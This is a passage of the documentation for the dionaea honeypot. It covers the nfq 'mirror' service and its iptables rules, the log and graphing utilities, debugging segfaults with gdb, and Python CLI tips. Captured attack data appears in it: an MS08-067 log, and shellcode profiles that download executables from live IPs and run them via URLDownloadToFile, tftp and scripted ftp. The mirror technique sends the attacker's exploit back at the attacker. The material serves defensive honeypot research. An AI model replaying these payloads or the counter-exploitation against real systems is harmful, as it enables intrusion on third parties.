Not enabled by default, but recommend: the p0f service, enable by uncommenting p0f in the ihandlers section of the python modules section, and start p0f as suggested in the config. It costs nothing, and gives some pretty cool, even if outdated, informations about the attackers operating system, and you can look them up from the sqlite database, even the rejected connections. If you face problems, here <http://blog.infosanity.co.uk/2010/12/04/dionaea-with-p0f/> are some hints.

nfq

The python nfq script is the counterpart to the nfq module. While the nfq module interacts with the kernel, the nfq python script takes care of the required steps to start a new service on the ports. nfq can intercept incoming tcp connections during the tcp handshake giving your honeypot the possibility to provide service on ports which are not served by default.

As dionaea can not predict which protocol will be spoken on unknown ports, neither implement the protocol by itself, it will connect the attacking host on the same port, and use the attackers server side protocol implementation to reply to the client requests of the attacker therefore dionaea can end up re?exploiting the attackers machine, just by sending him the exploit he sent us.

The technique is a brainchild of Tillmann Werner, who used it within his honeytrap <http://honeytrap.carnivore.it> honeypot. Legal boundaries to such behaviour may be different in each country, as well as ethical boundaries for each individual. From a technical point of view it works, and gives good results. Learning from the best, I decided to adopt this technique for dionaea. Besides the legal and ethical issues with this approach, there are some technical things which have to be mentioned

- */port scanning/* If your honeypot gets port scanned, it would open a service for each port scanned, in worst case you'd end up with offering 64k services per ip scanned. By default you'd run out of fds at about 870 services offerd, and experience weird behaviour. Therefore the impact of port scanning has to be limited. The kiss approach taken here is a sliding window of *throttle.window* seconds size. Each slot in this sliding window represents a second, and we increment this slot for each connection we accept. Before we accept a connection, we check if the sum of all slots is below *throttle.limits.total*, else we do not create a new service. If the sum is below the limit, we check if the current slot is below the slot limit too, if both are given, we create a new service. If one of the condition fails, we do not spawn a new service, and let nfqueue process the packet. There are two ways to process packets which got throttled:

    o ***NF_ACCEPT* (=1), which will let the packet pass the kernel, and** as there is no service listening, the packet gets rejected.

o ***NF_DROP* (=0), which will drop the packet in the kernel, the** remote does not get any answer to his SYN.

I prefer NF_DROP, as port scanners such as nmap tend to limit their scanning speed, once they notice packets get lost.

- */recursive-self-connecting/* Assume some shellcode or download instructions makes dionaea to

  o connect itself on a unbound port o nfq intercepts the attempt o spawns a service o accepts the connection #1 o creates mirror connection for connection #1

  by connecting the remotehost (itself) on the same port #2

  o accepts connection #2 as connection #3 o creates mirror connection for connection #3

  by connecting the remotehost (itself) on the same port #4

  o .... o ....

  Such recursive loop, has to be avoided for obvious reasons. Therefore dionaea checks if the remote host connecting a nfq mirror is a local address using 'getifaddrs' and drops local connections.

So much about the known problems and workarounds ... If you read that far, you want to use it despite the technical/legal/ethical problems. So ... You'll need iptables, and you'll have to tell iptables to enqueue packets which would establish a new connection. I recommend something like this:

```
iptables -t mangle -A PREROUTING -i eth0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE --queue-num 5
```

Explanation:

1. ACCEPT all connections to existing services
2. enqueue all other packets to the NFQUEUE

If you have dionaea running on your NAT router, I recommend something like:

```
iptables -t mangle -A PREROUTING -i ppp0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i ppp0 -p tcp --syn -m state --state NEW -j MARK --set-mark 0x1
iptables -A INPUT -i ppp0 -m mark --mark 0x1 -j NFQUEUE
```

Explanation:

1. ACCEPT all connections to existing services in mangle::PREROUTING
2. MARK all other packets
3. if we see these marked packets on INPUT, queue them

Using something like:

```
iptables -A INPUT -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j NFQUEUE --queue-num 5
```

will enqueue /all/ SYN packets to the NFQUEUE, once you stop dionaea you will not even be able to connect to your ssh daemon.

Even if you add an exemption for ssh like:

```
iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW --destination-port ! 22 -j NFQUEUE
```

dionaea will try to create a new service for /every/ incoming connection, even if there is a service running already. As it is easy to avoid this, I recommend sticking with the recommendation. Besides the already mention throttle settings, there are various timeouts for the nfq mirror service in the config. You can control how long the service will wait for new connections (/timeouts.server.listen/), and how long the mirror connection will be idle (/timeouts.client.idle/) and sustain (/timeouts.client.sustain/).

ihandlers

ihandlers section is used to specify which ihandlers get started by ihandlers.py . You do not want to miss p0f and logsql.

services

services controls which services will get started by services.py

CHAPTER 15

Utils

Dionaea ships with some utils, as these utils are written in python and rely on the python3 interpreter dionaea requires to operate, this software can be found in modules/python/utils.

readlogsqltree <#readlogsqltree> - modules/python/readlogsqltree.py

readlogsqltree is a python3 script which queries the logsql sqlite database for attacks, and prints out all related information for every attack. This is an example for an attack, you get the vulnerability exploited, the time, the attacker, information about the shellcode, the file offered for download, and even the virustotal report for the file.

2010-10-07 20:37:27

connection 483256 smbd tcp accept 10.0.1.11:445 <- 93.177.176.190:47650 (483256 None) dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67)) profile: [{'return': '0x7df20000', 'args': ['urlmon'], 'call': 'LoadLibraryA'}, {'return': '0', 'args': ['', 'http://208.53.183.158/m.exe', '60.exe', '0', '0'], 'call': 'URLDownloadToFile'}, {'return': '32', 'args': ['60.exe', '895'], 'call': 'WinExec'}, {'return': '0', 'args': ['-1'], 'call': 'Sleep'}] offer: http://208.53.183.158/m.exe download: 3eab379ddac7d80d3e38399fd273ddd4 http://208.53.183.158/m.exe

virustotal 2010-10-07 04:59:07 5/38 (13%) http://www.virustotal.com/file-scan/report.html?id=265e39edcba9d90 names 'High Risk Fraudulent Security Program' 'Suspicious file' 'Trojan.DownLoader1.27100' 'Worm.Win32.Rimecud' 'Worm:Win32/Rimecud.B'

To create such report for your own honeypots activities for the last 24 hours run:

./readlogsqltree.py -t $(date '+%s')-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite

gnuplotsql <#gnuplotsql> - modules/python/gnuplotsql.py

gnuplotsql is a very slow python3 script which runs some queries on the logsql <#logsql> sqlite database and creates graphs with gnuplot of the data, stores them on disk and creates an index of the data. The images are per protocol and look like this: Overview for dionaea smbd. Here <gnuplotsql> is how the whole thing looks like. To create such images of your own data, run:

./gnuplotsql.py -d /opt/dionaea/var/dionaea/logsql.sqlite -p smbd -p epmapper -p mssqld -p httpd -p ftpd

The blog got something on gnuplotsql as well:

- 2010-12-05 sudden death <http://carnivore.it/2010/12/05/sudden_death>
- 2010-10-01 Infosanity's Blog: gnuplotsql.py <http://blog.infosanity.co.uk/2010/10/01/gnuplotsql-py/>
- 2010-09-19 gnuplotsql <http://carnivore.it/2010/09/19/gnuplotsql>

pg_backend <#pg_backend> - modules/python/xmpp/pg_backend.py

pg_backend is the backend for logxmpp <#logxmpp>, currently it is a python2.x script which uses pyxmpp to access the xmpp service. It parses the messages received and can store the events in a postgres database and the received files on disk. pg_backend requires an xmpp account. /without db/

./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -f /tmp/

/with db/ create database

psql ...

start backend

./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -s DBHOST -u DBUSER -d xmpp -p DBPASS -f /tmp/

CHAPTER 16

Segfault

In case you experience a segfault, you will see something like this:

This is the end. This software just had a segmentation fault. The bug you encountered may even be exploitable. If you want to assist in fixing the bug, please send the backtrace below to nepenthesdev@gmail.com. You can create better backtraces with gdb, for more information visit http://dionaea.carnivore.it/#segfault Once you read this message, your tty may be broken, simply type reset, so it will come to life again

/opt/dionaea/bin/dionaea(sigsegv_backtrace_cb+0x20)[0x805c11e] [0x70d420] /opt/dionaea/lib/libemu/libemu.so.2(emu_env_w32_eip
/opt/dionaea/lib/dionaea/emu.so(run+0x39)[0x89cced] /opt/dionaea/lib/dionaea/emu.so(profile+0xbb)[0x89db88]
/opt/dionaea/lib/dionaea/emu.so(proc_emu_on_io_in+0x1e1)[0x89bfc5] /opt/dionaea/bin/dionaea(recurse_io_process+0x31)[0x805df4
/opt/dionaea/bin/dionaea(processors_io_in_thread+0x85)[0x805e08d] /opt/dionaea/bin/dionaea(threadpool_wrapper+0x2e)[0x805c99a]
/opt/dionaea/lib/libglib-2.0.so.0[0xaa9498] /opt/dionaea/lib/libglib-2.0.so.0[0xaa7a2f] /lib/libpthread.so.0[0xd8973b]
/lib/libc.so.6(clone+0x5e)[0x2b3cfe]

While the backtrace itself gives an idea what might be wrong, it does not fix the problem. To fix the problem, the logfiles usually help, as dionaea is very verbose by default. Below are some hints how to get started with debugging, click here <#support> for assistance.

debugging

Valgrind

Valgrind does a great job, here is how I use it:

valgrind -v –leak-check=full –leak-resolution=high –show-reachable=yes –log-file=dionaea-debug.log /opt/dionaea/bin/dionaea –my-dionaea-options

gdb

logfile assisted

For the above example, I was able to scrape the shellcode from the logfile, and run it in libemu, without involving dionaea at all, reducing the problem.

gdb /opt/dionaea/bin/sctest (gdb) run -S -s 10000000 -g < sc.bin Starting program: /media/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin

Once it crashed, I retrieved a full backtrace:

Program received signal SIGSEGV, Segmentation fault. env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545 545 struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;

(gdb) bt full #0 env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545

dll = 0x6366f0 ehi = <value optimized out> hook = <value optimized out> c = 0x611180 mem = <value optimized out> eip_save = <value optimized out> module = 2088763392 p_procname = 4289925 procname = <value optimized out>

#1 0x00007ffff7b884fb in emu_env_w32_eip_check (env=0x629a30) at environment/win32/emu_env_w32.c:306 dll = <value optimized out> ehi = <value optimized out> hook = 0x64c5b0 eip = <value optimized out>

#2 0x0000000000403995 in test (e=0x60f0e0) at sctestmain.c:277 hook = 0xe2 ev = 0x0 iv = <value optimized out> cpu = 0x611180 mem = <value optimized out> env = 0x629a30 na = <value optimized out> j = 7169 last_vertex = 0x0 graph = 0x0 eh = 0x0 ehi = 0x0 ret = <value optimized out> eipsave = 2088807840

#3 0x00000000004044e4 in main (argc=5, argv=0x7fffffffe388) at sctestmain.c:971 e = <value optimized out>

In this case, the problem was a bug in libemu.

gdb dump memory

Once again, it broke, and we got a backtrace:

#0 0xb70b0b57 in emu_queue_enqueue (eq=0xb3da0918, data=0x4724ab) at emu_queue.c:63 eqi = (struct emu_queue_item *) 0x0

#1 0xb70b15d1 in emu_shellcode_run_and_track (e=0xb4109cd0, data=0xb411c698 "", datasize=<value optimized out>, eipoffs

steps=256, etas=0xb410cd60, known_positions=0xb3d7a810, stats_tested_positions_list=0xb3da3bf0, brute_force=true) at current_pos_ti_diff = (struct emu_tracking_info *) 0x88c3c88 current_pos_ht = <value optimized out> current_pos_v = <value optimized out> current_pos_satii = (struct emu_source_and_track_instr_info *) 0xb407e7f8 bfs_queue = (struct emu_queue *) 0xb3e17668 ret = 4662443 eipsave = <value optimized out> hook = <value optimized out> j = 4 es = <value optimized out> eli = (struct emu_list_item *) 0xb3e17658 cpu = (struct emu_cpu *) 0xb4109ab0 mem = (struct emu_memory *) 0xb410c3a0 eq = (struct emu_queue *) 0xb3da0918 env = (struct emu_env *) 0xb3e10208 eli = (struct emu_list_item *) 0x4724ab

#2 0xb70b1a2a in emu_shellcode_test (e=0xb4109cd0, data=0xb411c698 "", size=<value optimized out>) at emu_shellcode.c:546
es = (struct emu_stats *) 0xb3d92b28 new_results = (struct emu_list_root *) 0xb3da3bf0 offset = <value optimized out> el = (struct emu_list_root *) 0xb4100510 etas = (struct emu_track_and_source *) 0xb410cd60 eh = (struct emu_hashtable *) 0xb3d7a810 eli = (struct emu_list_item *) 0xb3d92b40 results = (struct emu_list_root *) 0xb3d82850 es = <value optimized out> __PRETTY_FUNCTION__ = "emu_shellcode_test"

#3 0xb712140c in proc_emu_on_io_in (con=0x8864b58, pd=0x87dc388) at detect.c:145 e = (struct emu *) 0xb4109cd0 ctx = (struct emu_ctx *) 0x87a2400 offset = 14356 streamdata = (void *) 0xb411c698 size = 8196 ret = 0 __PRETTY_FUNCTION__ = "proc_emu_on_io_in"

#4 0x0805e8be in recurse_io_process (pd=0x87dc388, con=0x8864b58, dir=bistream_in) at processor.c:167 No locals. #5 0x0805ea01 in processors_io_in_thread (data=0x8864b58, userdata=0x87dc388) at processor.c:197

con = (struct connection *) 0x8864b58 pd = (struct processor_data *) 0x87dc388 __PRETTY_FUNCTION__ = "processors_io_in_thread"

#6 0x0805d2da in threadpool_wrapper (data=0x87d7bd0, user_data=0x0) at threads.c:49 t = (struct thread *) 0x87d7bd0 timer = (GTimer *) 0xb4108540

#7 0xb77441f6 in g_thread_pool_thread_proxy (data=0x83db460) at gthreadpool.c:265 task = (gpointer) 0x87d7bd0 pool = (GRealThreadPool *) 0x83db460

#8 0xb7742b8f in g_thread_create_proxy (data=0x83dc7d0) at gthread.c:635 __PRETTY_FUNCTION__ = "g_thread_create_proxy"

#9 0xb76744c0 in start_thread () from /lib/i686/cmov/libpthread.so.0 No symbol table info available. #10 0xb75f36de in clone () from /lib/i686/cmov/libc.so.6 No symbol table info available.

Again, it was a bug in libemu, an unbreakable loop consuming all memory. To reproduce, we have to dump the tested buffer, therefore we need the buffers address and size. Luckily the size is noted in frame #2 as 8196 and and the data address is a parameter which got not optimized out for frame #2.

dump binary memory /tmp/sc.bin 0xb411c698 0xb411e89c

Afterwards, debugging libemu by feeding the data into sctest is easy.

I've had fun with objgraph and gdb debugging reference count leaks in python too, here <http://carnivore.it/2009/12/23/arcane_bugs> is the writeup.

gdb python3 embedded

Sometimes, there is something wrong with the python scripts, but gdb does not provide any useful output:

bt full #12 0xb765f12d in PyEval_EvalFrameEx (f=0x825998c, throwflag=0) at Python/ceval.c:2267

stack_pointer = (PyObject **) 0x8259af0 next_instr = (unsigned char *) *0x812fabf "m"' opcode = 100 oparg = <value optimized out> why = 3071731824 err = 1 x = (PyObject *) 0xb7244aac v = <value optimized out> w = (PyObject *) 0xadb5e4dc u = (PyObject *) 0xb775ccb0 freevars = (PyObject* *) 0x8259af0 retval = (PyObject *) 0x0 tstate = (PyThreadState *) 0x809aab0 co = (PyCodeObject *) 0xb717b800 instr_ub = -1 instr_lb = 0 instr_prev = -1 first_instr = (unsigned char *) 0x812f918 "t" names = (PyObject *) 0xb723f50c consts = (PyObject *) 0xb71c9f7c opcode_targets = {0xb765d202, 0xb765f60a, 0xb766133a, 0xb76612db, 0xb7661285, 0xb7661222, 0xb765d202, 0xb765d202, 0xb765d202, 0xb76611dd,

0xb766114b, 0xb76610b9, 0xb766100f, 0xb765d202, 0xb765d202, 0xb7660f7d, 0xb765d202, 0xb765d202, 0xb765d202, 0xb7660eb7, 0xb7660dfb, 0xb765d202, 0xb7660d30, 0xb7660c65, 0xb7660ba9, 0xb7660aed, 0xb7660a31, 0xb7660975, 0xb76608b9, 0xb76607fd, 0xb765d202 <repeats 24 times>, 0xb7660736, 0xb766066b, 0xb76605af, 0xb76604f3, 0xb765d202, 0xb7660437, 0xb766035d, 0xb76602ad, 0xb7661aba, 0xb76619fe, 0xb7661942, 0xb7661886, 0xb7661b76, 0xb76614a8, 0xb7661413, 0xb766138e, 0xb766171f, 0xb76616e6, 0xb765d202, 0xb765d202, 0xb765d202, 0xb766162a, 0xb766156e, 0xb76601f1, 0xb7660135, 0xb76617ca, 0xb7660120, 0xb765fff7, 0xb765d202, 0xb765fd72, 0xb765fc6e, 0xb765d202, 0xb765fc1d, 0xb765fe17, 0xb765fd90, 0xb765fec0, 0xb765fb41, 0xb765fadc, 0xb765f9ed, 0xb765f94d, 0xb765f8be, 0xb765f7e3, 0xb765f779, 0xb765f6bd, 0xb765f66c, 0xb765ef1d, 0xb765eea2, 0xb765ede1, 0xb765ed1a, 0xb765ec35, 0xb765ebc3, 0xb765eb30, 0xb765ea69, 0xb765f1c7, 0xb765f027, 0xb765f560, 0xb765efc1, 0xb76630e3, 0xb766310c, 0xb765e64c, 0xb765e592, 0xb765f49a, 0xb765f3de, 0xb765d202, 0xb765d202, 0xb765f39e, 0xb7663135, 0xb766315f, 0xb765e9cb, 0xb765d202, 0xb765e948, 0xb765e8bb, 0xb765e817, 0xb765d202, 0xb765d202, 0xb765d202, 0xb765d2ae, 0xb765e3e0, 0xb7663275, 0xb765e1a2, 0xb766324e, 0xb765e0ba, 0xb765e01e, 0xb765df74, 0xb765d202, 0xb765d202, 0xb7663189, 0xb76631d3, 0xb7663220, 0xb765e149, 0xb765d202, 0xb765de09, 0xb765dec0, 0xb765f2c0, 0xb765d202 <repeats 108 times>}

#13 0xb7664ac0 in PyEval_EvalCodeEx (co=0xb717b800, globals=0xb7160b54, locals=0x0, args=0x84babb8, argcount=9, kws=(

defcount=1, kwdefs=0x0, closure=0x0) at Python/ceval.c:3198 f = (PyFrameObject *) *0x825998c retval* = <*value optimized out*> *freevars* = *(PyObject* *) 0x8259af0 tstate = (PyThreadState *) 0x809aab0 x = <value optimized out> u = <value optimized out>

Luckily python3 ships with some gdb macros, which assist in dealing with this mess. You can grab them over here <http://svn.python.org/view/python/tags/r311/Misc/gdbinit?view=markup>, place them to ~/.gdbinit, where ~ is the homedirectory of the user dionaea runs as. If you get /*warning: not using untrusted file "/home/user/.gdbinit"*/ you are running gdb via sudo, and the file /home/user/.gdbinit has to be owned by root. If you are running as root, and you get /*Program received signal SIGTTOU, Stopped (tty output).*/, run stty -nostop before running gdb, reattach the process with fg, close gdb properly, and start over.

Once you got the macros loaded properly at gdb startup, set a breakpoint on PyEval_EvalFrameEx after dionaea loaded everything:

break PyEval_EvalFrameEx

Then we have some useful macros for gdb:

up pyframev

pyframev combines the output of pyframe and pylocals.

Be aware you can segfault dionaea now from within gdb, going up, out of the python call stack and calling some of the macros can and in most cases will segfault dionaea, therefore use backtrace to make sure you are still within valid frames. We can't use pystack or pystackv as they rely on Py_Main, which is an invalid assumption for embedded python.

CHAPTER 17

Tips and Tricks

dionaea embedds a python interpreter, and can offer a python cli therefore too. *The python cli is blocking*, if you start entering a command, the whole process will wait for you to finish it, and not accept any new connections. You can use the python cli to interact with dionaea, which is very useful for development and debugging.

Configuration

You can access the dionaea.conf via python (readonly)

from dionaea import g_dionaea g_dionaea.config()

Completition and History on the CLI

If you use the cli often, you can make it behave like a real shell, including history and completition.

import rlcompleter, readline readline.parse_and_bind('tab: complete')

Triggering Downloads

Sometimes it helps to trigger a download, without waiting for an attack. Very useful if you want to verify permissions are correct when switching the user, or making sure a submission to a 3rd party works correctly. You can trigger downloads for all major protocols.

ftp

from dionaea.ftp import ftp f = ftp() f.download(None, 'anonymous','guest','ftp.kernel.org',21, 'welcome.msg', 'binary','ftp://ftp.kernel.org/welcome.msg')

tftp

from dionaea.tftp import TftpClient t = TftpClient() t.download(None, 'tftp.example.com', 69, 'filename')

http

As the http download is not done in python, we do not use the download facility directly, but create an incident, which will trigger the download

from dionaea.core import incident i = incident("dionaea.download.offer") i.set("url", "http://www.honeynet.org") i.report()

incidents

incidents are the ipc used in dionaea.

dumping

from dionaea.core import ihandler class idumper(ihandler):

def __init__(self, pattern): ihandler.__init__(self, pattern)

def handle(self, icd): icd.dump()

a = idumper('*')

emu profile

Small collection of various shellcode profiles gatherd from dionaea.

CreateProcess Commands

This profile will trigger a download via tftp.

p='[{"call": "CreateProcess", "args": ["", "tftp.exe -i 92.17.46.208 get ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "CreateProcess", "args": ["", "ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]' from dionaea.core import incident i = incident("dionaea.module.emu.profile") i.set("profile", str(p)) i.report()

URLDownloadToFile

This profile will trigger a download.

p='[{"call": "LoadLibraryA", "args": ["urlmon"], "return": "0x7df20000"}, {"call": "URLDownloadToFile", "args": ["", "http://82.165.32.34/compiled.exe", "47.scr", "0", "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32"}]' from dionaea.core import incident i = incident("dionaea.module.emu.profile") i.set("profile", str(p)) i.report()

WinExec Commands

This profile uses WinExec to create a command file for windows ftp client, downloads a file, and executes the file.

p='[{"call": "WinExec", "args": ["cmd /c echo open welovewarez.com 21 > i&echo user wat l0l1 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\r\n", "0"], "return": "32"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]' from dionaea.core import incident i = incident("dionaea.module.emu.profile") i.set("profile", str(p)) i.report()

CHAPTER 18

Cui honorem, honorem

surfnet SURFnet always supported us. Working with SURFnet is a real pleasure.

CHAPTER 19

Support

If you are getting frustrated, because things to not work for you and you already read the FAQ <#FAQ>, join the ml and share your experience, or the chat.

- Mailing List <https://lists.sourceforge.net/lists/listinfo/nepenthes-devel>
- Chat (freenode, #nepenthes) <irc://irc.freenode.org/nepenthes>

CHAPTER 20

Links

- GSoC Project #10 <http://honeynet.org/gsoc/project10>
- GSoC Timeline <http://socghop.appspot.com/document/show/program/google/gsoc2009/timeline>
- The Honeynet Project <http://honeynet.org/>

CHAPTER 21

Indices and tables

- genindex
- modindex
- search